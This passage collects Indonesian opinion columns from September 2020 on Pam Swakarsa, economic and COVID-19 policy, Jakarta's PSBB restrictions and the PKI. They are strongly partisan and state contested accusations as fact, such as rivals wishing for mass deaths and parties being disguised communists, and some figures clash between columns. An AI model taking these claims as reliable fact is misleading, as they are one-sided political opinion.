HAM. Perbuatan melawan hukum dengan mengadu domba sesama masyarakat. Bertentangan dengan prinsip negara demokrasi. Berbagai kecaman muncul, baik dari dalam negeri dan luar negeri. Hal ini karena sesungguhnya dari kelompok kotran ini, penilaian Pam Swakarsa berasal dari posisi yang anti tesis dengan tujuan awal. Namanya sudah berbeda pandangan, maka akan sulit disamakan. Oleh sebab itu, publik tentu perlu penjelasan yang lebih jelas dan tegas. Untuk apa ujug-ujug di era reformasi ini, pemerintah khususnya melalui Polri perlu membentuk Pam Swakarsa ini kembali ? Jika negara pada masa Orde Baru sangat jelas meletakkan tujuannya dalam wilayah pertahanan. Bagaimana dengan era reformasi sekarang? Secara pribadi saya yakin, Kapolri Jendral Idham Azis tentu punya maksud baik dan strategi tertentu. Sehingga beliau mengeluarkan Peraturan Kapolri yang ditandatanganinya tanggal 5 Agustus 2020 kemaren. Tetapi hal ini, apakah hal ini telah dikonsultasikan dahulu dengan pihak Menkopolhukam, Kementrian Pertahanan bahkan TNI AD ? yang secara doktrin memiliki aspek pembinaan perlawanan wilayah atau ketahanan wilayah? Juga dikonsultasikan dengan para akademisi dan pakar-pakar? Dikonsultasikan dengan mereka yang selama ini telah banyak memberikan bantuannya untuk menegakkan pembangunan dan menjunjung demokrasi di era reformasi. Agar tidak terjadi "distorsi pemahaman" ? Jika ingin mengatakan nantinya bahwa tidak ada pihak yang salah dalam hal ini, Polri sebagai institusi yang bertanggung jawab tentang Kamtibmas pasti punya alasan untuk itu. Begitu juga masyarakat civil society. Tentu perlu juga penjelasan yang lebih jelas dan rinci dari pihak yang berwenang agar tidak menimbulkan keraguan dan kecurigaan yang tidak perlu. Untuk era digital sekarang, yang rentan terjadi "miss-understanding", penjelasan itu sangat diperlukan. Adapun beberapa pendapat yang saya tangkap di tengah masyarakat terkait dengan Pam Swakarsa tersebut adalah sebagai berikut: Pertama, masyarakat tentu perlu mengetahui apa permasalahan paling substansial dari pembentukan Pam Swakarsa ini? Karena, ada yang berpendapat kenapa tidak memanfaatkan begitu banyak organisasi massa berbasis bela negara yang sudah ada saja? Yang setidaknya sudah mendapatkan pelatihan disiplin dan dasar-dasar militer dan keamanan. Misalnya FKPPI, PPM, Pemuda Pancasila, Laskar Merah Putih, HIPAKAD, KBP3, GBN, atau ormas yang tergabung dalam KNPI. Yang paling terakhir gerakan kader belanegara yang digagas oleh Jenderal Ryamizard (2015) saat menjabat Menhan? Padahal gagasan Ryamizard telah menghabiskan anggaran tidak kecil, dan para kadernya pun saat ini masih menunggu-nunggu kelanjutannya. Selain pemberdayaan wilayah pertahanan adalah tugas TNI, Organisasi Kemasyarakatan (Oramas) ini tentu sudah familiar dengan masyarakat. Saya yakin, para Ormas ini akan senang apabila mendapat kepercayaan dari pemerintah, khususnya kerjasama dengan komponen utama Pertahanan. Kedua, perlu juga dijelaskan, apa saja tugas pokok dan fungsi Pam Swakarsa ini? Apakah dibentuk untuk sementara dalam menangani PSBB pandemi covid19 saja? atau untuk permanen? Tentu perlu analisa serta jaminan bahwa pasukan Pam Swakarsa ini tidak akan disalahgunakan, yang akan menimbulkan konflik baru sesama masyarakat. Untuk itu diperlukan kejelasan batas waktunya. Karena tidak ada dasar hukum acuan dalam KUHP atas pembentukan Pan Swakarsa ini. Dimana bisa memangun sekelompok masyarkat tertentu dalam penegakan hukum. Atau setidaknya perlu terminologi nama lain dalam penyebutannya. Setidaknya dapat menjawab serta meyakinkan para pihak yang meragukan efektifitas, dan ketakutan penyalahgunaan pembentukan pasukan ala semi-milisi ini. Ketiga, perlu juga dijelaskan, apa spesifikasi dari persyaratan untuk menjadi anggota Pam Swakarsa ini? Karena banyak yang meragukan seberapa disiplin dan proteksi dari penyalahgunaan kewenangan di lapangan nantinya. Tentu yang dapat merugikan nama baik institusi kepolisian itu sendiri. Apakah "Preman" bisa masuk kategori Pam Swakarsa juga? Keempat, TNI sebagai alat pertahanan negara dan komponen utama negara, mempunyai juga binaan komponen cadangan. Komponen yang terlatih disamping sebagai kader bela negara. Yang sengaja dibentuk melalui UU PSDN Nomor 23 tahun 2019. Apakah ini sama atau berbeda? Atau timbul pertanyaan, kenapa tak bersinergi dengan TNI saja, kalau memang membutuhkan bantuan personil ? Kelima, bumi nusantara ini sangat beragam. Baik dari segi Suku, Agama, Ras dan Antar Golongan (SARA) dan kultur budaya. Pendekatan kultur budaya kepada masyarakat lebih baik dari pada pendekatan struktural pemerintahan. Apalagi kalau hal itu terkait dengan upaya penegakan budaya dan prilaku. Memanfaatkan ketokohan agama, tokoh adat, serta kearifan lokal setempat akan lebih baik dan efektif. Di dalam Perkap Kapolri tersebut, memang ada disebutkan bahwa anggota Pam Swakarsa ini bisa diambil dari kelompok pranata sosial kearifan lokal. Namun ini tentu perlu dijelaskan dan ditegaskan, apakah itu lembaga yang sudah ada diberdayakan? Atau membentuk yang baru? Kenapa hal ini diperlukan? Untuk menjawab keraguan dan asumsi negatif dari beberapa pengamat dan akademisi, yang ragu kalau ujungnya Pam Swakarsa . Karena nama ini rentan menimbulkan gesekan baru sesama masyarakat, bahkan dengan aparat TNI. Secara psikologis, pembentukan Pam Swakarsa ini juga bisa menimbulkan keluar image di mata publik internasional dan nasional. Bahwa pemerintah Indonesia hari ini seakan-akan ada "gap distrosi" (tidak harmonis) yang begitu dalam dengan rakyatnya sendiri. Sehingga perlu membentuk Pam Swakarsa, yang kalau dalam kaca mata internasional bisa diasumsikan sama dengan pasukan milisi. Wajar berbagai keraguan dan pertanyaan kritis keluar dari masyarakat, mengingat negara kita selama ini selalu menggaungkan sebagai negara demokrasi. Negara Pancasila dengan semangat persatuan Gotong Royong yang sangat hebat dan kuat. Namun, tetap saja masih mau menggunakan pola yang dulu di akhir Orde Baru banyak dikecam dan dicap negatif. Apakah ini tidak bertentangan juga dengan semangat reformasi? Ataukah hendak mengatakan bahwa Orde Baru itu benar adanya dan ingin kembali lagi? Kita berharap, semua keraguan dan kegelisahan negatif itu tidak terjadi. Semoga pemerintah, melalui Menko Polhukam sudah menganalisa semua ini dengan seksama. Sebagai masyarakat sipil, kita semua pasti mendukung program Pam Swakarsa kalau memang ditujukan untuk mengayomi, melayani, dan melindungi masyarakat. Agar tentram dan damai di tengah pandemic Covid-19 ini. insya Allah. Jawab keraguan ini. Salam Indonesia Jaya. Penulis adalah Direktur Eksekutif Tanhana Dharma Mangruva Institute.

Kekacauan Bernegara Di Eranya Jokowi

by Tony Rosyid Jakarta FNN – Jum’at (18/09). Negara sekarang jadi kacau. Kekacauan itu hampir terjadi di semua aspek. Kita mulai saja dari aspek hukum. Aparat, bahkan institusi hukum terlibat jauh dalam politik praktis. Nggak bisa dibantah itu. BIN pamer operasi kekuatan pasukan temput. KPK dimatikan untuk menyelamatkan orang-orang besar dan kasus besar. Secara beruntun RUU diusulkan, dan UU diterbitkan hanya untuk melindungi kepentingan korporasi, oligarki dan konglomerasi. Mau contohnya nyata? Lihat dan baca itu UU Minerba, UU Corona, RUU Omnibus Law Cipta Kerja dan RUU HIP yang berubah menjadi RUU BPIP. RUU yang terakhir ini, meski telah secara masif mendatangkan gelombang penolakan dari rakyat, tetap saja dipaksakan. Kekacauan juga terjadi di Badan Usaha Milik Negara (BUMN). PT. Asuransi Jiwasraya kebobolan sampai belasan triliun. Pertamina rugi Rp 11,3 triliun. Komisaris Utama Ahok mencak-mencak. Sebelumnya Ahok sesumbar bilang “kalau Pertamina merem aja pasti untung”. Eh malah rugi besar. Sekarang bilang data dari Direktur Utama nggak bener. Kacau-balau, dan amburadul ini pemerintahan. Banyak BUMN yang dijaminkan untuk pinjaman pembangunan infrastruktur. Diantaranya infrastruktur komersial. Artinya, dibangun untuk dijual lagi. Total hutang luar negeri BUMN saat ini Rp 835 triliun, setara dengan U$ 57,8 miliar. Utang naik sekitar 15,1% dari bulan Juli lalu. Pada akhirnya, BUMN jalan megap-megap untuk bayar hutang. Pertumbuhan ekonomi minus sudah minus -5,32 persen. Berlanjut ke kuartal berikutnya. Artinya, bakal terjadi resesi di depan mata. Dampaknya, diantaranya pada Pemutusan Hubungan Kerja (PHK). Angka pengangguran diperkirakan bertambah sekitar 4,2 juta (data resmi Bappenas lho). Itupun kalau Bappenas jujur dan menggunakan standar wajar dalam menghitung pengangguran. Pemerintah dan DPR sepakat untuk cetak uang Rp 600 triliun. Untuk maksud cetak uang itu, lalu pakai bahasa yang agak sedikit keren, “burden sharing”. Mungkin supaya orang awam nggak paham dan tidak menimbulkan gejolak kalau itu adalah cetak uang. Cetak uang berlebihan, dengan menempatkan Bank Indonesia di bawah eksekutif rawan penyelahgunaan. Sangat berpotensi menciptakan inflasi. Kalau terjadi inflasi, siapa yang nanggung biayanya? Sudah rasti Rakyat. Anda saat ini beli kopi seharga Rp. 2000 per gelas. Pada tahun 2021 atau 2022, harganya "mungkin" bisa naik jadi Rp. 5.000 per gelas. Uang anda pasti bakal berkurang nilainya. Makanya, sejumlah orang kaya bakalan menukar uangnya ke emas atau dollar. Begitulah kalau terjadi inflasi. Dengan UU Corona Nomor 2 Tahun 2020, muncul anggaran Rp 905 triliun. Anggaran ini bakal digunakan secara bebas, karena dilindungi oleh UU No 2/2020. Bebas dari tuntutan pidana, perdata dan TUN. Tragisnya, bukannya anggaran tersebut lebih banyak dipakai untuk mengatasi pandemi (kurang dari 10%), tetapi justru digunakan untuk injeksi korporasi dan perbankan. Tragis kan? Pandemi coronanya cenderung diabaikan. Itu terlihat dari alokasi anggaran yang sangat kecil. Namun dampak ekonominya yang terus, dan sibuk diatasi oleh pemerintah Jokowi. Ya, seperti menuang air di ember yang bocor. Sia-sia saja. Sekarang baru pada siuman, termasuk Buya Syafi’i Maarif yang selama ini terkenal membela habis-habisan kebijakan pemerintahan Jokowi. Kenapa BI nggak beli saja Surat Berharga Negara (SBN) yang ada di tangan bank-bank itu. Lalu turunkan suku bunga (BI rate) hingga 0-1% saja seperti di Singapura (0%), Thailand (0,5%) dan Malaysia (1,75). BI rate sekarang ini masih terlalu tinggi dengan 4% itu. Meski sebelumnya BI rate sudah diturunkan 1%, dalam empat tahap, dari semula 5%. Tetapi tak mampu menahan laju resesi ekonomi di depan mata. Dunia usaha tersendat karena suplay liquiditas terhambat, padahal demand masih besar. Para pengusaha juga nggak mampu membayar cicilan bank, karena besarnya bunga, yang masih 8% hingga di atas 10%. Uniknya, uang nasabah bank terus bertambah. Artinya, masyarakat lebih memilih menyimpan di bank dari pada menggunakannya untuk biaya konsumsi. Makin parah lagi kondisinya. Sebab uang yang beredar di masyarakat makin kecil. Ini akan memicu naiknya angka kemiskinan. Kekacauan juga terjadi di panggung politik. Isinya para buzzer dan infulencer yang dianggarkan Rp 90.45 miliar. Masalah apapun sepertinya mau diselesaikan lewat buzzer dan infulencfer. Apapun penyakitnya, pasukan bodrek jadi obatnya. Ngeri sekali tata kelola bernegara di Era Jokowi ini. Belum lagi ketika datangnya musim orang gila beroperasi. Kini sebaran teror orang gila terjadi di berbagai wilayah negeri ini. Diantaranya di Lampung, Palembang dan Bogor, yang semakin menambah kekacauan sosial. Anehnya, orang gila bisa pilih-pilih sasara. Diutamakan para ulama atau ustadz. Di jajaran kementerian, terjadi overlaping yang akut. Menkes banyak diam, lahan corona diambil oleh TNI dan Menko Maritim. Kementerian Agama sibuk mengurus radikalisme dan sertifikasi muballigh. Menteri pertahanan diberi tugas untuk mengurusi ketahanan pangan. Lalu Wapres? Presiden saja lupa menyebut namanya saat pidato. Makin kacau tata kelolas pemerintahan di eranya Jokowi. Soal pandemi, pemerintah gagal mengatasinya. Negara lain mulai terbebas. Sementara di negeri ini covid-19 justru makin mengganas. Rata-rata perhari bertambah 3.000-an orang terinveksi. Rate mortality nasional adalah 4,1%. Ada 100 orang setiap hari meninggal. Akibatnya, sudah 68 negara yang lockdown Indonesia. Dalam sialtuasi ini, pemerintah bukannya fokus menyelesaikan, tetapi malah saling menyalahkan. Konyol bangat kan? Kekacauan bahkan sering muncul seiring dengan kebijakan Gubernur DKI. Dalam banyak kebijakan Gubernur, pemerintah pusat seringkali mengambil posisi sebagai oposisi. Bukan mendukung dan bersinergi untuk atasi mengganasnya pandemi. Ini hanyalah sebagian dari potret negara yang bernama Indonesia saat ini. Sebuah kekacauan yang belum ada tanda-tanda untuk berhenti. Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Jokowi Kalah Berkali-Kali di Masa Pandemi

by Jusman Dalle Jakarta FNN - Rabu (17/09). Bagi Jokowi yang ingin lekas menggenjot ekonomi, penanganan Covid-19 telah menjelma jadi kekalahan besar. Telak. Legacy yang berupaya dibangun sejak enam tahun lalu, longsor terbawa krisis multi dimensi ini. Sejauh enam bulan perjalanan Covid-19, Jokowi telah ditimpa tiga kekalahan besar. Pertama, pemerintah terbukti gagal mengendalikan Covid-19. Awalnya menjanjikan Covid-19 selesai bulan Mei. Lalu bergeser Juni, Juli dan September. Saat ini sudah mendekati Oktober, namun Covid-19 makin jauh dari kata terkendali. Angka terinfeksi melambung. Mencatat rekor-rekor anyar nan mengerikan. Tenaga medis tumbang. Rumah sakit nyaris over kapasitas. Bahkan bakal kolaps dalam beberapa waktu ke depan. Ini bukan menakut-nakuti. Tapi prediksi berdasarkan simulasi yang berpijak pada data-data terkini. Penanganan Covid-19 yang tidak kompeten, mengakibatkan dampak turunan. Merambah ke problem sosial ekonomi. Jika berlarut-larut, bahkan berpotensi menjadi krisis politik. Kegagalan penanganan Covid-19 bahkan jadi studi ilmiah di Swiss. Tereskpos dan dipelototi sedunia. Kegagalan yang go internasional. Lembaga think thank berbasis di Swiss, Deep Knowledge Group membuat kajian yang menyimpulkan, Indonesia adalah zona merah Corona. Wilayah berbahaya. Sehingga wajar jika diblokir oleh 59 negara. Ada enam indikator umum dalam kajian itu. Semuanya menunjukkan, jika kinerja kebijakan pemerintah tidak perform. Sangat jauh di bawah rata-rata dunia. Termasuk kebijakan karantina/PSBB yang tidak efektif. Akibat direcok urusan politik. Mantan Ketua Mahkamah Konstitusi, Prof. Jimly Ash Shiddieqy menyebut pemerintah pusat beroposisi ke Pemda. Lucu dan aneh! Kekalahan kedua, krisis kesehatan telah menjelma jadi krisis ekonomi. Indonesia dipastikan resesi di Kuartal III nanti. Preseden buruk bagi pemerintah. Kepercayaan investor dan pasar merosot. Di dalam negeri, ekonomi yang terpuruk sudah terkonfirmasi oleh survei SRMC. Sigi itu menyebut persepsi masyarakat terhadap ekonomi menurun. Artinya, masyarakat tidak lagi melihat ada harapan terhadap perbaikan ekonomi jangka pendek. Semua cemas dan khawatir. Pijakan realitas persepsi yang ditangkap dari survei SRMC itu bukan pepesan kosong. Terlihat di tengah gemuruh jalanan. Di kehidupan sehari-hari. Rakyat memaksakan diri untuk mencari sesuap nasi. Terpaksa keluar rumah, meski PSBB. Covid-19 yang siap menginfeksi setiap saat, diabaikan. Demi mempertahankan dapur mengepul. Dalam ketegangan itu, rakyat tidak melihat geliat harapan dari para pejabat negara. Sehingga harus bertaruh nyawa. Memperjuangkan nasib sendiri. Gelombang kecemasan dari bawah ini, terakumulasi oleh perjalanan hari demi hari yang semakin tidak pasti. Kekalahan ketiga, secara politis legitimasi Jokowi semakin keropos. Bukan cuma karena kelompok oposisi ekstra perlemen yang terkonsoliasi di KAMI. Namun karena secara de facto, Jokowi memang gagal membawa negara menghindar krisis multidimensi : Covid-19, krisis ekonomi, krisis penegakan hukum, dll. Diperparah akrobat para menteri Jokowi. Overlapping antara satu sama lain. Menteri Pertahanan kerja pertanian. Menteri Pertanian bikin kalung anti virus. Menko Kemaritiman urus macam-macam. Pokoknya, kacau balau. Tidak ada orkestrasi kepemimpinan yang solid. Puncak kekacauan itu mendunia. Majalah majalah ekonomi papan atas The Economist, menobatkan dan bahkan secara gamblang menyebut Jokowi tidak kompeten menangani krisis Covid-19. Penulis adalah Konsultan Digital Crisis Menagement

Mereka Ingin Sekali Anies Baswedan Jatuh Lewat Kekacauan Covid-19

by Asyari Usman Jakarta FNN - Rabu (17/09). Mengapa sejumlah menteri dan buzzer bayaran menyerang habis tindakan Gubernur DKI Anies Baswedan memberlakukan kembali PSBB? Hanya ada satu jawaban yang logis: bahwa reputasi Anies lebih mudah dijatuhkan lewat kekacauan akibat wabah Covid-19. Para penguasa dan buzzer bayaran menunggu-nunggu blunder Anies dalam melindungi rakyat Jakarta. Mereka punya ‘harapan dengki’ agar penularan Covid di DKI tak terkendali dan banyak korban nyawa. Dengan begini, mereka semakin mudah menyulut sentimen atau opini publik. Mereka akan mengatakan bahwa Anies tidak punya kompetensi menjadi gubernur. Itulah yang mereka inginkan. Tetapi, Anies paham betul angan-angan mereka itu. Dia tidak buang-buang waktu. PSBB baru adalah jawaban yang tepat untuk menekan penyebaran virus. Tidak ada cara lain. Di mana pun di dunia ini, pembatasan aktivitas publik dan edukasi perlindungan diri adalah tindakan yang selalu diambil. Nah, para penguasa dan buzzer sudah membaca itu. Anies, insyaAllah, akan berhasil menekan penularan Covid lewat PSBB. Mereka tidak ingin Anies sukses. Kemauan mereka, Jakarta akan mengalamai kekacauan besar. Korban nyawa belasan ribu. Fasilitas kesehatan kucar-kacir di mana-mana. Korban nyawa petugas medis bertambah banyak, dlsb. Itu yang mereka dambakan. Situasi Covid menjadi tak terkendali. Sehingga, semua telunjuk akan mengarah ke Anies. Dia menjadi terpojok. Demoralized. Hancur berantakan. Sampai akhirnya, menurut nafsu para penguasa dan buzzer yang membenci Anies, Pak Gubernur yang smart ini akan mengambil ‘jalan pintas’. Kemudian Anies, secara ‘gentleman’, akan menyatakan dirinya tak sanggup melanjutkan mandat sebagai gubernur. Tercapailah angan-angan para penguasa dan buzzer bayaran. Sayangnya, angan-angan kosong itu baru bisa terjadi kalau Anies ragu-ragu memberlakukan PSBB kembali. Kalau Anies mengikuti ‘keinginan politis’ Menko Perekonomian Airlangga Hartarto. Dan kalau Anies mengikuti ‘keinginan jahat’ para buzzer bayaran itu. Alhamdulillah, Anies paham betul. Dan dia tegas. Airlangga tidak bisa mengatur Anies. Para buzzer juga hanya bisa gigit jari dalam ketololan mereka. Menko Airlangga berpendapat dampak ekonomi-bisnis akibat PSBB Jakarta akan besar. Airlangga lupa bahwa perekonomian Indonesia memang sudah bermasalah sebelum Corona masuk ke sini. Dia menyebut harga saham IHSG merosot 5%. Tapi, kenyataannya indeks saham kembali pulih, empat hari berikutnya. Bouncing back ke posisi di atas 5,000. Tidak ada masalah dengan PSBB. IHSG turun ibarat daun putri malu yang menguncup ketika tersenggol sedikit. Setelah itu, kembali normal. Dan, memang begitulah karakteristik investasi portofolio (portfolio investment). Para pedagang saham di mana pun juga selalu khawatir ketika ada kebijakan yang menyangkut ‘movement’ orang banyak. Namun, khusus terhadap manajemen Covid-19 di Jakarta, para pemain saham (domestik dan internasional) ternyata menaruh kepercayaan pada ‘leadership’ yang diperlihatkan oleh Anies. Bahwa mereka ‘tersengat’ sedikit akibat pemberlakuan PSBB tentu sangat wajar. Sejumlah menteri dan para buzzer bayaran seratus persen bermisi politik ketika mengomentari PSBB yang diaktifkan kembali oleh Gubernur. Mereka sadar gangguan ekonomi tidak akan bisa menjatuhkan reputasi Anies. Sebab, resesi ekonomi adalah dampak global Covid-19 yang melanda semua negara di dunia. Rakyat paham kesulitan ekonomi bukan hanya melanda Indonesia. Tapi, seluruh dunia. Sekali lagi, para penguasa dan buzzer bayaran berusaha agar PSBB tidak diterapkan. Supaya amuk Corona semakin menjadi-jadi. Dan Anies bertekuk lutut. Mereka berdoa agar Mr Goodbener akan sama dungunya dengan mereka. Mereka pikir Anies terpengaruh oleh momok ekonomi yang mereka lantunkan dengan keras itu. Mereka sangka Pak Gub akan mundur dari PSBB dan mereka senang korban nyawa banyak. Mereka ingin sekali Anies Baswedan jatuh lewat kekacauan Covid-19.[] Penulis wartawan senior fnn.co.id

PKI Memperalat Pancasila

by M. Rizal Fadillah Jakarta FNN – Rabu (16/09). Partai Komunis Indonesia (PKI) yang bermisi membentuk masyarakat sosialis Indonesia untuk kemudiannya menjadikan masyarakat Komunis dalam proses perjuangannya tidak terang-terangan menentang Pancasila. Mereka bahkan berkoar-koar menjadi pembela Pancasila. Tidak tanggung-tanggung pada tahun 1964 DN Aidit Ketua CC PKI membuat buku yang berjudul "Aidit Membela Pantja Sila". Semua slogan itu ternyata palsu dan hanya kamuflase. Hanya tipu-tupa semata. Terbukti pada bulan September 1965 PKI mencoba melakukan kudeta. PKI mencoba menguasai pemerintahan, dan mengganti ideologi Pancasila. Aidit sendiri memang jujur menyatakan bahwa Pancasila hanya "alat pemersatu". Jika masyarakat sosialisme Indonesia sudah terwujud, maka Pancasila tidak diperlukan lagi. Soal Agama sama saja diposisikan sebagai alat. Aidit menyatakan PKI tidak anti Agama, dan anggotanya mayoritas beragama Islam. Tetapi PKI bersikap tergantung posisi Agama itu. Jika sama dengan pandangannya yaitu progresif, anti kapitalisme dan menuju masyarakat tanpa kelas maka Agama bukanlah candu. Sebaliknya, jika menjadi berbeda makna, apalagi samapai memusuhi PKI, maka Agama adalah candu. Agama ditempatkan sebagai alat mainan PKI menuju masyarakat Komunis. Pancasila sebagai sebuah alat memiliki tafsir dan tempat tersendiri bagi Aidit dan PKI. Karenanya PKI mampu berteriak lantang soal "Membela Pantja Sila". Dan bersama Soekarno akhirnya membubarkan Partai yang berjuang untuk bangsa dan Agama, yaitu Masyumi. "Konsepsi Presiden" yang berujung "Nasakom" menjadi fase nyaman bagi penguatan PKI menuju kudeta. Menurut Aidit PKI bisa bermetamorfosis menjadi partai lain asal revolusioner dan berprinsip untuk mengubah hal yang stagnan. Tujuannya adalah masyarakat tanpa kelas. Mungkin ini yang dimaksud oleh seorang kader anak PKI yang menyatakan PKI boleh bubar tetapi ideologi Komunisme tetap hidup. Ia pun berada di partai lain untuk terus berjuang. Kita kini sering melihat tokoh bahkan pemimpin politik yang berteriak lantang tentang membela Pancasila seolah dia yang paling Pancasilais. Tetapi prakteknya ia dan partainya memiliki perspektif lain tentang Pancasila itu. Menunjuk orang lain yang anti dan ingin mengganti Pancasila. Padaha sadar atau tidak dialah perongrong Pancasila. Pancasila pun diperalat sebagaimana PKI dahulu memperalat. Bangsa dan rakyat Indonesia harus bangun dan sadar akan metamorfosa PKI yang bisa saja menjadi PKI Reformasi, PKI Perjuangan atau Partai lainnya. Bagi mereka tak penting nama dari partai itu karena yang pokok adalah tujuan dan untuk mencapai tujuan itu maka dihalalkan segala cara. PKI adalah partai yang mampu bermanuver dengan memperalat semua, termasuk partai politik dan ideologi Negara. Karenanya kita harus semakin waspada pada penjahat yang memang pandai mengadu domba, memfitnah dan menipu ini. Penulis adalah Pemerhati Politik dan Kebangsaan.

Lawan Taipan, PSBB Anies Soal Keberpihakan

by Jusman Dalle Jakarta FNN – Rabu (16/09). Pembatasan Sosiak Berskala Besar (PSBB) total kali ini, merupakan ujian keberpihakan. Antara menyelamatkan nyawa rakyat, atau justru terburu-buru menggenjot dunia usaha mengikuti irama tekanan para oligark ekonomi. Beredar spucuk surat dari salah satu taipan. Orang terkaya di Indonesia, berpesan kepada Presiden Jokowi. Secara gamblang menyebut PSBB DKI tidak tepat atau salah. Inilah bukti omnipresent dalam teori relasi kuasa Michael Focault. Kekuasaan yang tersebar. Tidak terpusat pada satu simbol struktural. Surat taipan itu, merupakan ekspresi superioritas. Seolah mempertontonkan komunikasi antara majikan dan bawahan. Ditampilkan vulgar di panggung depan. Diekspos ke publik. Meski dengan kemasan yang tampak sopan. Credit Suisse menyebut mereka sebagai 1% penduduk yang mengontrol dan menguasai 47% kekayaan ekonomi nasional. Atau, 10% penduduk yang menguasai 75% ekonomi nasional. Bagi kaum ultra kaya itu, ancaman Covid-19 masih sangat jauh. Mereka lebih khawatir pada bisnis dan kekayaannya. Bagaimana tidak, mereka dilayani berbagai fasilitas yang memungkinkan beraktivitas dengan aman, nyaman dan higienis. Tinggal di dalam mansion super mewah. Dengan akses lift pribadi. Minim kontak. Tamu-tamu diseleksi. Virus pun, bahkan dapat disaring dengan peralatan canggih yang dimiliki. Mereka tak khawatir terinfeksi Covid-19. Kaum ultra kaya itu, jelas punya dunianya sendiri. Tinggal di kutub berlawanan, bukan representasi nasib masyarakat kebanyakan. Yang harus berjibaku naik KRL, angkot dan bis kota. Berdesak-desakan bertaruh nyawa. Berjudi keberuntungan. Meski cemas terinfeksi Covid-19 di tengah kehidupan kota yang menekan. Kelompok ultra kaya ini, bahkan tidak bisa membayangkan ketegangan di garis depan. Bagi mereka, tenaga medis yang berguguran hanyalah deretan angka, data, bahan bacaan semata. Layanan kesehatan yang sudah di tubir jurang dan terancam kolaps bahkan ingin diakali. Dengan memborong kamar hotel sebagai tempat karantina. Mereka mungkin menyangka, hotel dan rumah sakit punya tabung oksigen dan ruang ICU. Mereka lupa, kalau customer services, atau house keeper hotel bukan petugas medis yang terlatih memasng ventilator. Mendengarkan seruan para taipan melalui surat, ataupun via lidah Menteri dan pejabat negara, tidak akan menyelamatkan masyarakat di bawah. Kita tidak mengabaikan, para konglomerat menyisihkan sedikit dana CSR untuk penanganan Covid-19. Tapi sumbangan itu, tidak mampu menghidupkan para ayah dan kepala keluarga yang wafat akibat kebijakan yang tidak tegas dan mengancam nyawa. Dunia usaha, jelas sudah tidak sabar ingin ekonomi segera dipacu. Semua juga begitu. Masalahnya, Covid-19 makin tidak terbedung. Penanganan Covid-19 amburadul. Tidak ada garis komando dan akur kerja yang jelas. Tumpang tindih. Semua ingin jadi pahlawan. Memanfaatkan krisis sebagai panggung politik. Ini akibat dari lemahnya kepemimpinan. Sejak awal rencana, lockdown dihalang-halangi. Jadi drama politik yang pelik. Dengan alasan yang sama. Demi ekonomi. Anehnya, ada saja yang berargumen serampangan. Menilai PSBB ini bias kelas. Cuma cocok untuk pekerja kantoran. Tapi tidak memihak ke pekerja informal. Pekerja yang berpendapatan harian. Statemen itu prematur. Memang tampak membela masyarakat kecil. Nyatanya salah kaprah. Komentar itu muncul karena pandangan parsial. Melihat PSBB semata sebagai kewajiban warga negara untuk diam di rumah. Padahal di balik PSBB, ada kewajiban negara. Konstitusi jelas mengamanatkan pemerintah untuk menjamin kebutuhan warga selama masa PSBB. Jika UU Karantina Wilayah diterapkan. Konstitusi tegas melindungi hak paling asasi warga negara. Hak untuk hidup. Selamat dari ancaman terinfeksi Covid-19. Namun UU ini dihindari pemerintah. Bikin undang-undang kok tidak dipakai. Ketika pekerja informal, seperti pedagang kaki lima dan ojek online libur, negara semestinya menyiapkan kebutuhan pokok mereka. Bahkan bila perlu, ada ekstra stimulus ekonomi. Lagipula, PSBB atau tidak, APBN tetap tersedot. Rp 690 triliun dianggarkan untuk Covid-19. Sebagian besar, malah mengalir jadi subsidi ke korporasi. Jelas ini mengusik rasa keadilan rakyat. Sekali lagi. PSBB total adalah soal keberpihakan. Saatnya negara berdiri tegas. Memilih di sisi rakyat. Bukan malah benaung di ketiak cukong politik. Seperti istilah yang baru saja dipopulerkan Menkopolhukam Prof. Mahfud MD. Menyoal fenomena bandar politik di Pilkada. Sektor ekonomi memang meradang. Namun begitu, sejarah mengajari. Sejak tragedi Black Death yang menewaskan 200 juta orang di Eropa, hingga wabah Flu Spanyol pada awal abad 20, ekonomi harus rela dikorbankan demi nyawa manusia. Ini Humanitarian Action. PSBB atau bahkan lokcdown, justru jadi solusi tercepat keluar dari jerat krisis ini. Semakin PSBB dihalang-halangi, semakin lama bencana Corona mendera. Pelonggaran aktivitas dan new normal sudah terbukti gagal. Bahkan berakibat fatal pada penanganan Covid-19 yang kian berlarut-larut. Sementara ekonomi tetap bangkrut. Penulis adalah Direktur Ekskeutif Tali Foundation.

Perketat PSBB, Anies Dutuduh Mau Jatuhkan Jokowi?

by Tony Rosyid Jakarta FNN – Rabu (16/09). Seringkali, seorang kepala daerah dihadapkan pada dua pilihan. "Good looking" di mata penguasa dan pengusaha, atau ambil risiko buat warganya. Kalau mau "good Looking", ikuti penguasa dan ketua partai. Atau patuhi cukong. Dukung, apapun keputusan dan kemauannnya. Mau benar atau salah, abaikan. Jadilah "anak manis". Jangan ambil kebijakan kontroversial, apalagi bertentangan. Itu berisiko. Risikonya bakal dimusuhi. Juga risikonya dibully. Risiko lain nggak turun anggaran. Macam-macam risikonya. Apalagi penguasa punya pasukan buzzer plus dana Rp 90.45 miliar. Jika anda hanya ingin "Good Looking", berarti anda tak layak jadi kepala daerah. Anda lebih pantas jadi jongos. Jongos penguasa dan jongos pengusaha. Jongos biasanya ada otak, tapi sedikit. Ada hati, tapi mati. Mentalnya sudah kebeli. Tak punya kemandirian dalam bertindak. Anies, gubernur DKI nampaknya memilih yang kedua. Kalau mau aman, tidak dibully, sedikit musuh, Anies nggak perlu mengambil keputusan PSBB lagi. Tapi, data masifnya penyebaran covid-19 di DKI. Risiko kematian yang tinggi, dan kapasitas rumah sakit yang terbatas, memaksa Anies harus mengambil keputusan berani. Suka tidak suka, harus dibuat keputusan itu. Terhadap kebijakan Pambatasan Sosial Berskala Besar (PSBB) ini, Anies dibully. Semua buzzer keluar dari sarangnya. Mereka dapat momentum. Sampai ada yang begitu emosional meminta Anies mundur. Setidaknya, ada tiga tuduhan yang dialamatkan kepada Anies. Pertama, gara-gara Jakarta PSBB, Index Harga Saham Gabungan (IHSG) turun, katanya. Mari kita cek fakta. Senen, 14 September dimana hari pertama PSBB diberlakukan lagi dengan berbagai penyesuaian, justru IHSG bergeliat naik hingga 2,34 persen. Saham BRI ikut menguat 4,62 persen. Telkomsel menguat 2,14 persen. Bahkan ICBP punya Salim group juga menguat 2,44 persen. Ini data. Salahkan Anies? Kedua, PSBB diduga akan menyulitkan warga Jakarta. Dengan PSBB, warga Jakarta akan makin sulit hidupnya. Apakah tuduhan ini berbasis data? Analisis obyektif atau imajinatif? Jakarta, ada 3,6 juta Kepala Keluarga (KK) 